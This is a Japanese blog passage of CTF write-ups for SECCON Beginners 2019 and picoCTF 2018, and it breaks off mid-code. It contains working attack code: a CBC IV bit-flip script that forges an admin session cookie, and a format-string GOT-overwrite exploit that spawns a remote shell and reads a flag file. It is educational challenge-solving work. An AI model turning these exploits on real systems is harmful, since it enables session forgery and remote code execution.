ここで問題文にあった、cupon_controller.rb を見てみます。
これが実装されていないので、まだクーポンが使えないとのこと。
ちなみに、flag用のシリアル番号は

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

のようです。(問題文のリンクより)
なので、未実装の cupon_controller の動作を理解して上記シリアル番号を解析、クーポンをゲットできればそこにflagがありそう。ありそう。

ここでもう一度、既に与えられているクーポンを確認します。

  • 令和飯店
    • ソースカツ丼の名店
    • シリアルコード: BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6
  • 平成食堂
    • 持ち帰りが可能
    • シリアルコード: BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10
  • レストラン昭和
    • デリバリー可能
    • シリアルコード: BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140

何やらそれぞれ先頭が base64 encode されてるっぽいので、試しに -- の前を base64 decodeしてみます。

  • 令和飯店
    • I"reiwahanten:ET
  • 平成食堂
    • I"heiseishokudou:ET
  • レストラン昭和
    • I"restaurantshowa:ET
  • flag
    • I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET

なぁぁにぃぃぃぃっ!もうここでflagが出てきてしまった…!正攻法かわかりませんが、通ったので良し。ソースコード何も使わなかった…。

[Crypto] [warmup] So Tired

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!

tarファイルが落とせたので解凍すると、encrypted.txtが出現。超長い。

$ file encrypted.txt 
encrypted.txt: ASCII text, with very long lines, with no line terminators

まずはこのなかにflagがないかを確認。

$ grep 'ctf4b{' encrypted.txt 

なし。
ぱっと見た感じ、base64のような文字列なので、base64 decodeしてみる。
更に、base64 decode結果を見たところ、バイナリファイルだったので書き出してみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

with open('encrypted.txt') as f:
    data = f.read()

decoded = base64.b64decode(data)

with open('dat', 'wb') as f:
    f.write(decoded)

書き出したファイルを調べてみます。

$ file dat
dat: zlib compressed data

zlibでした。更にこのファイルをdecompressしてやると、今度はまたbase64っぽい文字列。
なるほど。これは base64 - zlib のルーっプッぽいぞ、ということで、汚いですが下記のコードを。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64
import zlib

with open('encrypted.txt') as f:
    data = f.read()

while True:
    decoded = base64.b64decode(data)
    with open('dat', 'wb') as f:
        f.write(decoded)

    data = zlib.decompress(decoded)
    with open('decompressed', 'wb') as f:
        f.write(data)

base64 decode か zlib decompress ができなくなったらエラーで止まるはずなので、止まったら成果物のファイルの中身を確認しようという作戦。
意図通り(?)エラーで止まったので、成果物ファイルの一つdecompressedの中身を見ると、flagがありました。

$ cat decompressed 
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[Crypto] Party

Let's 暗号パーティ

落としたtarファイルを解凍すると、pythonコードとテキストファイルが。

encrypt.py

from flag import FLAG
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime


def f(x, coeff):
    y = 0
    for i in range(len(coeff)):
        y += coeff[i] * pow(x, i)
    return y


N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)

coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]

val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)

encrypted

[(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

初めて知ったんですけど、coeffって多項式係数の抽出に使われる関数らしい。これを踏まえてencrypt.pyを眺めてみると、ただの3連立方程式に落とせそう。

関数 f(x, coeff) が、

y = coeff[0] + coeff[1]*x + coeff[2]*x^2

なので、

val[i] = coeff[0] + coeff[1]*party[i] + coeff[2]*(party[i]**2)

※ただし i =0~2 となります。coeff[0] が求まれば、これがflagです。

numpyのlinalgscipyなど、色々python用のモジュールやスクリプトを使って楽して方程式を解いてもらう方法を試してみましたが、桁が大きすぎてそのまま使えるものが見つからず。
仕方ないので、下の数式を参考に、普通にcoeff[0]を計算する式の計算をゴリゴリ書きました。

Python (SymPy) で方程式・連立方程式を解く、数列を求める - pianofisica

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Util.number import long_to_bytes 

party = [5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379]
val = [222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125]

# val[i] = coeff[0] + coeff[1]*party[i] + coeff[2]*(party[i]**2)
# flag is coeff[0]

A = [[1, party[0], party[0]*party[0]], 
     [1, party[1], party[1]*party[1]],
     [1, party[2], party[2]*party[2]]]
b = val

# refer to follow page.
# https://pianofisica.hatenablog.com/entry/2019/04/04/233515#%EF%BC%93%E5%A4%89%E6%95%B0%E3%81%AE%E5%A0%B4%E5%90%88
d = A[0][1]*(A[2][2]*b[1]-A[1][2]*b[2]) + \
    A[0][2]*(A[1][1]*b[2]-A[2][1]*b[1]) + \
    b[0]*(A[1][2]*A[2][1]-A[1][1]*A[2][2])
n = A[0][0]*(A[1][2]*A[2][1]-A[1][1]*A[2][2]) + \
    A[0][1]*(A[1][0]*A[2][2]-A[1][2]*A[2][0]) + \
    A[0][2]*(A[1][1]*A[2][0]-A[1][0]*A[2][1])

ans = d//n
print(long_to_bytes(ans))

コードが汚すぎてワケワカメですが…。参考リンクの方を参照して下さいまし。
実行結果。

$ python solve.py 
b'ctf4b{just_d0ing_sh4mir}       '

[Misc] containers

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

urlにアクセスすると、ファイルが貰えました。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers 
e35860e49ca3fa367e456207ebc9ff2f_containers: data

stringコマンドで見てみると、下記のような気になる情報が書いてあります。(抜粋)

$ strings e35860e49ca3fa367e456207ebc9ff2f_containers 
CONTAINER.FILE0.
IHDR
sRGB
gAMA
pHYs
aIDATx^
ajlK-[
0TG~5
;-M\
IEND
FILE1.
IHDR
sRGB
gAMA
pHYs
(中略)
VALIDATOR.import hashlib
print('Valid flag.' if hashlib.sha1(input('Please your flag:').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282' else 'wrong.'.ENDCONTAINER

画像っぽい文言が最初の方にあり、最後に急にソースっぽい文言が…?
とりあえず foremost かけてみると、沢山のpngイメージが出現。一文字ずつ書いてあり、ファイル名順に並べるとflagになっていました!

$ foremost -i e35860e49ca3fa367e456207ebc9ff2f_containers 
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

f:id:kusuwada:20190526160107p:plain

flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}

[Misc] Sliding puzzle

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。

----------------

| 0 | 2 | 3 |

| 6 | 7 | 1 |

| 8 | 4 | 5 |

----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上

1 : 右

2 : 下

3 : 左

最終的に以下の形になるように操作してください。

----------------

| 0 | 1 | 2 |

| 3 | 4 | 5 |

| 6 | 7 | 8 |

----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

なんだか競プロとかpaizaの問題っぽい。
スライドパズルを解くアルゴリズムの紹介はたくさんありましたが、時間勝負なので、できればpythonスクリプトが落ちていることを願ってgithubを漁ります。

運良く落ちてました!!

github.com

しかも 3×3 に特化したやつです。
動作環境がpython2なので、問題をとってきて配列にするところと、出力がグラフィカルな表示だったのをブランクを動かす手順に変えるところだけ、エイヤで書いて通しました。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# This code uses bellow script
#   https://github.com/fabianokafor369/Sliding-puzzle-solver

from pwn import *

host = '133.242.50.201'
port = 24912

SHIFT_U = 0
SHIFT_R = 1
SHIFT_D = 2
SHIFT_L = 3

# ---- https://github.com/fabianokafor369/Sliding-puzzle-solver
# ---- start reference

class PuzzleNode:
   (略)

def place_heuristic(state):
   (略)

def Manhattan_heuristic(state):
   (略)

def myheuristic(state):
   (略)

#Creating list heuristics which is a pointer to both heuristics created
heuristics = [place_heuristic, Manhattan_heuristic, myheuristic]

def goalstate(state):
   (略)

def moves(inputs, n):
   (略)

def Astar(start, finish, heuristic):
   (略)


def solvePuzzle(n, state, heuristic, prnt):
   (略)

   #Prints the solutions if the prnt = True
   #Here I change code from https://github.com/fabianokafor369/Sliding-puzzle-solver
   if prnt == True:
       shift = []
       pre_blank_pos = {}
       blank_pos = {}
       for n in range(len(solutions[1:])):
           for i in range(len(solutions[n+1])):
               if solutions[n+1][i] == '0':
                   break
           blank_pos = calc_pos(i)
           if n != 0:
               shift.append(str(calc_shift(pre_blank_pos, blank_pos)))
           pre_blank_pos = blank_pos

   return ','.join(shift)
# ---- end reference

"""
BLANK_POS
  02 05 08
  13 16 19 
  24 27 30
"""
def calc_pos(pos):
    BLANK_POS = [[2, 5, 8], [13, 16, 19], [24, 27, 30]]
    for i in range(3):
        for j in range(3):
            if pos == BLANK_POS[i][j]:
                return [i, j]

def calc_shift(pre, curr):
    if curr[0] - pre[0] == 0:
        if curr[1] - pre[1] == 0:
            raise Exception
        if curr[1] - pre[1] == 1:
            return SHIFT_R
        if curr[1] - pre[1] == -1:
            return SHIFT_L
    elif curr[0] - pre[0] == 1:
        return SHIFT_D
    elif curr[0] - pre[0] == -1:
        return SHIFT_U

r = remote(host, port)
print(r.recvline().strip())

while True:
    p = r.recvuntil('\n\n')
    print p.strip()
    p = p.split('\n')
    puzzle = [[] for i in range(3)]
    for i in range(3):
        for j in range(3):
            puzzle[i].append(int(p[i].split('|')[j+1].strip()))
    print 'puzzle array: '
    print puzzle
    ans = solvePuzzle(3, puzzle, heuristics[2], True)
    print 'answer: ' + ans
    r.sendline(ans)
    print r.recvline().strip()

実行結果

(前略)
----------------
| 03 | 01 | 02 |
| 07 | 06 | 05 |
| 04 | 08 | 00 |
----------------
puzzle array: 
[[3, 1, 2], [7, 6, 5], [4, 8, 0]]
answer: 3,3,0,1,2,3,0,0
----------------
| 03 | 00 | 05 |
| 04 | 02 | 01 |
| 06 | 07 | 08 |
----------------
puzzle array: 
[[3, 0, 5], [4, 2, 1], [6, 7, 8]]
answer: 2,1,0,3,2,3,0
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

どうやら100問あったみたいです!

感想

前回の感想

土日で耐久24時間って、用事があったり子守があったりで結局使える時間頑張っても6時間くらい。それでも今の実力だと十分だった気がするし、長くやりすぎても飽きそうなのでちょうどよかったかな。

同じこと書こうとしてたよ。危ない危ない。ただ今回はもっと時間欲しかったので、やっぱり少しは前進したかな。

Twitterでは愚痴ばっかりになってしまいましたが、子育て世代、特に育児メイン担当の週末CTFイベント参加は厳しいものがありますね。いっそ合宿とかで家にいないようにしてパートナーや他の方に育児を丸投げしないと育児イベントがちょこちょこ割り込むので、中々集中できる時間をまとまって確保するのが難しかったです。うまくやってる方いたらお話を聞きたい…!
まぁ今回はそれ以前に夫に急に仕事が入り、一日丸々子供と二人だったのですが( •̅_•̅ ) オンライン競技って理解してもらうのも難しいなぁと再認識。

ちなみに娘は競技が終了して1時間後に無事お昼寝をはじめました(๑′௰‵๑) なんだかんだ可愛いのです。

picoCTF2018 500~550pt問題のwrite-up

picoCTF 2018 の write-up 500, 550点問題編。

今回もBinary問題にかなり手こずりました。今までの自分の知識・経験に全くない分野なこともあり、write-upや解説を読んでも咀嚼しきれない部分も。妊娠中の眠さも相まって、何度も解説を読んだり色んなサイトを参考にしたり、とにかく手を動かして攻撃スクリプトを書いてみて動作検証したりしているうちに、ようやく頭に染み込んでくる感じでした。これもあって前回から結構時間が空いてしまいました。
ただ、こうやって何かしら解いた記事を残すことで、自分が納得するまで調べたり、後から自分が見て思い出すのにとても役立っているので、picoCTF2018はこのまま完走したいなぁ(๑• ̀д•́ )✧

今回の問題では nop slide や heap問題 が新しかったのと、SecureLogonで使った解法がリアルタイムのCTFで使えたのが感動。

さて、ここまで解いて初めてこんなページがあるのを知りました。自分が、どのカテゴリで、何問中何問解いたのかが一目瞭然!

f:id:kusuwada:20190522114517p:plain

550pt問題までを解いた時点で 21585pt, 244位。もうリアルタイムじゃないし、他の方のwrite-upもかなり参考にさせて頂いてるので順位や点数はあまり意味がないけども。

f:id:kusuwada:20190522114739p:plain

450点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

[Web] Secure Logon (500pt)

Uh oh, the login page is more secure... I think. http://2018shell.picoctf.com:56265 (link). Source.

問題文のリンク先に飛ぶと、こんなサイトが。

f:id:kusuwada:20190422140953p:plain

適当な Username と Password を入れると入れる。が、「おまえにやるFlagはねぇ!」である(古い?)

f:id:kusuwada:20190422141109p:plain

ここでCookieが表示されているので見てみると、adminでログインしてほしそう。先程の感じだとPasswordは見ていなさそうなので Username:admin, Password:適当 でログインしようとすると、流石に弾かれた。

f:id:kusuwada:20190422141119p:plain

ソースを読んでみる。DLしたSourceはこちら。

from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))

    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp

@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp

@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
    app.run()

/flag pathのGETmethod を call した時、cookieadmin1 になっていれば、flagが表示されるような気配がします。
cookieの値は、json形式になっており、 AESCipher で暗号化されています。これを復号したらjsonが出てくるようになっています。
jsonpassword, username, admin の値が入っており、admin以外はユーザーの入力をそのまま使うようです。adminには通常、0しか入りません。password, usernameを自由に変更したjsonの暗号文は、cookieに保存されるので確認することができます。

作戦としては、このjsonadmin の値が 1 になるようにして暗号化、cookieにセットして /flag ページをGETする、で行ってみようと思います。

今回の暗号はAESのCBCモード、ivは毎回変更されるようですが、暗号文の先頭についてくるみたいです(16文字)。復号時は暗号文の先頭からivを取得し、これを使って復号しています。また暗号・復号に使用するkeyは、スクリプト上に固定で設定されているようです。
CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia
また、今回、スクリプトの L37 で cookie_data = json.dumps(cookie, sort_keys=True) と keyでソートされているので、必ずjsonの先頭は admin フラグになり、暗号文の先頭ブロックに当たります。

これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin:0admin:1 に書き換えることができそうです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

sample_cookie = '2FIiQPmvneqpOUecJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw='
# sample_json = {'admin': 0, 'password': 'password', 'username': 'user'}
flip_pos = 11
# 0 は 11番目の文字列なので、ivの11番目の文字をflipする

decoded_cookie = base64.b64decode(sample_cookie)
flipped = bytes([decoded_cookie[flip_pos-1] ^ ord('0') ^ ord('1')])
print(bytes([decoded_cookie[flip_pos-1]]) + b' is flipped to: ' + flipped)
flipped_arr = []
for i in range(len(decoded_cookie)):
    if i != flip_pos-1:
        flipped_arr.append(bytes([decoded_cookie[i]]))
    else:
        flipped_arr.append(flipped)
print(b'flipped_cookie: ' + base64.b64encode(b''.join(flipped_arr)))

実行結果

$ python solve.py 
b'G is flipped to: F'
b'flipped_cookie: 2FIiQPmvneqpOUacJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw='

新しいcookieをsetして、/flag にGETアクセスしてみるとFlagが出ました!

f:id:kusuwada:20190422141128p:plain

これ、WebっていうかCryptoじゃないのかな?入り口がWebだからWebなのかな?
ちなみにこの問題の応用版が、これをやった直後の ångstromCTF 2019 に出て嬉しかったヽ(•̀ω•́ )ゝ

ångstromCTF 2019 write-up - 好奇心の足跡

[Binary] echo back (500pt)

This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37857.

Hints

hmm, printf seems to be dangerous...

You may need to modify more than one address at once.

Ever heard of the Global Offset Table?

$ file echoback 
echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f3a42d793336e2051dd5578785d768cf3152d634, not stripped

こんなバイナリを入手しました。今回はソースコードはないみたい。
試しに動かしてみます。

$ ./echoback 
input your message:
test
test


Thanks for sending the message!

単純に入力をそのままechoしてくれるだけのようです。
radare2でどんな関数で構成されているのか確認してみます。

[0x08048643]> afl
0x080483dc    3 35           sym._init
0x08048410    1 6            sym.imp.read
0x08048420    1 6            sym.imp.printf
0x08048430    1 6            sym.imp.__stack_chk_fail
0x08048440    1 6            sym.imp.getegid
0x08048450    1 6            sym.imp.puts
0x08048460    1 6            sym.imp.system
0x08048470    1 6            sym.imp.__libc_start_main
0x08048480    1 6            sym.imp.setvbuf
0x08048490    1 6            sym.imp.setresgid
0x080484a0    1 6            sub.__gmon_start_80484a0
0x080484b0    1 33           entry0
0x080484e0    1 4            sym.__x86.get_pc_thunk.bx
0x080484f0    4 43           sym.deregister_tm_clones
0x08048520    4 53           sym.register_tm_clones
0x08048560    3 30           sym.__do_global_dtors_aux
0x08048580    4 43   -> 40   entry.init0
0x080485ab    3 152          sym.vuln
0x08048643    1 83           sym.main
0x080486a0    4 93           sym.__libc_csu_init
0x08048700    1 2            sym.__libc_csu_fini
0x08048704    1 20           sym._fini

ちょっと長いですが、mainから呼ばれている vuln 関数です。

[0x08048643]> s sym.vuln
[0x080485ab]> pdf
/ (fcn) sym.vuln 152
|   sym.vuln ();
|           ; var int local_8ch @ ebp-0x8c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ ebp-0x4
|           ; CALL XREF from sym.main (0x8048684)
|           0x080485ab      55             push ebp
|           0x080485ac      89e5           mov ebp, esp
|           0x080485ae      57             push edi
|           0x080485af      81ec94000000   sub esp, 0x94
|           0x080485b5      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20
|           0x080485bb      8945f4         mov dword [local_ch], eax
|           0x080485be      31c0           xor eax, eax
|           0x080485c0      8d9574ffffff   lea edx, dword [local_8ch]
|           0x080485c6      b800000000     mov eax, 0
|           0x080485cb      b920000000     mov ecx, 0x20               ; 32
|           0x080485d0      89d7           mov edi, edx
|           0x080485d2      f3ab           rep stosd dword es:[edi], eax
|           0x080485d4      83ec0c         sub esp, 0xc
|           0x080485d7      6820870408     push str.echo_input_your_message: ; 0x8048720 ; "echo input your message:"
|           0x080485dc      e87ffeffff     call sym.imp.system         ; int system(const char *string)
|           0x080485e1      83c410         add esp, 0x10
|           0x080485e4      83ec04         sub esp, 4
|           0x080485e7      6a7f           push 0x7f                   ; 127
|           0x080485e9      8d8574ffffff   lea eax, dword [local_8ch]
|           0x080485ef      50             push eax
|           0x080485f0      6a00           push 0
|           0x080485f2      e819feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080485f7      83c410         add esp, 0x10
|           0x080485fa      83ec0c         sub esp, 0xc
|           0x080485fd      8d8574ffffff   lea eax, dword [local_8ch]
|           0x08048603      50             push eax
|           0x08048604      e817feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048609      83c410         add esp, 0x10
|           0x0804860c      83ec0c         sub esp, 0xc
|           0x0804860f      6839870408     push 0x8048739
|           0x08048614      e837feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048619      83c410         add esp, 0x10
|           0x0804861c      83ec0c         sub esp, 0xc
|           0x0804861f      683c870408     push str.Thanks_for_sending_the_message ; 0x804873c ; "Thanks for sending the message!"
|           0x08048624      e827feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048629      83c410         add esp, 0x10
|           0x0804862c      90             nop
|           0x0804862d      8b45f4         mov eax, dword [local_ch]
|           0x08048630      653305140000.  xor eax, dword gs:[0x14]
|       ,=< 0x08048637      7405           je 0x804863e
|       |   0x08048639      e8f2fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x0804863e      8b7dfc         mov edi, dword [local_4h]
|           0x08048641      c9             leave
\           0x08048642      c3             ret

うーむ、今回はmainから呼ばれない flag 関数や flag, secret のようなわかりやすい名前のシンボルは無いようです。
ここで頼るべきは問題のタイトルとヒント!

Hintからは、printf に対してフォーマット文字列攻撃(FSB, Format String Bugを利用)を実施、GOT overwrite 攻撃を示唆しているように見えます。あと、書き換えるアドレスが複数必要っぽい。

参考: format string attackによるGOT overwriteをやってみる - ももいろテクノロジー

が、どこをどう攻撃したらflagが得られるのか?
そういえば似たタイトルの問題があったな、ということでさかのぼってみると、echooo (300pt, Binary) が。この問題では、ソースコードの配布があり、ソースコード中で同ディレクトリ内の flag.txt を読み出してメモリに保持していました。このメモリ上のアドレス内容をFSBを利用して表示させてやればOK、というものでした。
今回は、メモリ上に flag 変数として読み出されてはなさそうですが、flag.txt が同ディレクトリに存在する可能性が高そうです。(他にflagの場所が思いつかないので)

とりあえず、printf に対するフォーマット文字列攻撃を試してみます。

$ nc 2018shell.picoctf.com 37857
input your message:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAAffc9dd5c.0000007f.f75c37bd.f7727a70.08048270.00000001.41414141.78383025.3830252e.30252e78.252e7838.2e783830


Thanks for sending the message!

7番目に AAAA に相当する出力 41414141 が現れました。

ここで、FSB, GOT overwrite 攻撃について、表面的にしか理解していなかったので再度おさらいしました。

わかりやすくまとまっていて読みやすかったです!感謝!

今回は、最終的にsystem('/bin/sh')を呼び出してshellを操れる状態にするのがGOAL。
そのためにprintf関数のGOTを systemのPLTで書き換え、次の入力で /bin/sh を入れると、system('/bin/sh')が呼び出されてshellが起動します。

ただ困ったことに、上記の書き換え(FSBを利用したGOT overwrite)のために printf 関数を使用するので、もう一度 printf 関数を呼び出して実行してもらう必要があります。今回は、printfの後にputs(Thanks for sending the message!)が呼ばれているので、このGOTをvuln関数のアドレスで上書きし、再度 vuln 関数、ひいては printf 関数が呼ばれるように導きます。

ということで、下記の作戦で行きます。

  • FSBを利用して puts() 呼び出し時に vuln() を実行するよう overwrite する
  • 更にFSBを利用して、 printf() 呼び出し時に system() を実行するよう overwrite する
  • system呼び出しのinputに /bin/sh を指定し、shellを起動する
  • shell操作で多分近くにある flag.txt を覗く

また、今回は初めて pwntools の fmtstr_payload 関数を使ってみました。
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 3.12.1 documentation
うん、とっても便利!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 37857

e = ELF('./echoback')
got_printf = e.got[b'printf']
plt_system = e.plt[b'system']
got_puts = e.got[b'puts']
sym_vuln = e.symbols[b'vuln']

payload = fmtstr_payload( 7, \
        { got_puts: sym_vuln, \
          got_printf: plt_system }
        )

r = remote(host, port)
r.recvuntil(b'input your message:\n')
r.sendline(payload)
r.interactive()

実行結果

$ python solve.py 
[*] '/echo_back/echoback'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 37857: Done
[*] Switching to interactive mode
(略)
input your message:
$ /bin/sh
$ ls
echoback
echoback.c
flag.txt
xinet_startup.sh
$ cat flag.txt
picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}

ちなみに出題者のRintaroさんのブログに、解説と想定解が載っていました。私のレベルだと、最初に読んだときはいきなり中級から来られた感じでよくわからなかったので、上記FSB, GOT overwrite解説記事から読み直しました…(*•ө•*)
picoCTF 2018を主催した話 - security etc...

[General] script me (500pt)

Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell.picoctf.com 7866

指定のホストに接続してみます。

$ nc 2018shell.picoctf.com 7866
Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()) + ()() = ???

>

ほーう!この言語を解読してねってことですね。最初の問題がwarmupってことは、問題が続きそうなのでscript化したほうが良さそう。
実はコレ全部で6問、テストデータを収集するために暗算で頑張ってみたところ、雰囲気で2問目くらいまで解けるんだけど、どんどん人間の目では処理できないレベルになっていって無理だった。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 7866

# function
def depth(member):
    max_depth = 0
    current_depth = 0
    for c in member:
        if c == '(':
            current_depth += 1
            max_depth = max(max_depth, current_depth)
        elif c == ')':
            current_depth -= 1
    return max_depth

def calc(left, right):
    left_depth = depth(left)
    right_depth = depth(right)
    if left_depth > right_depth:
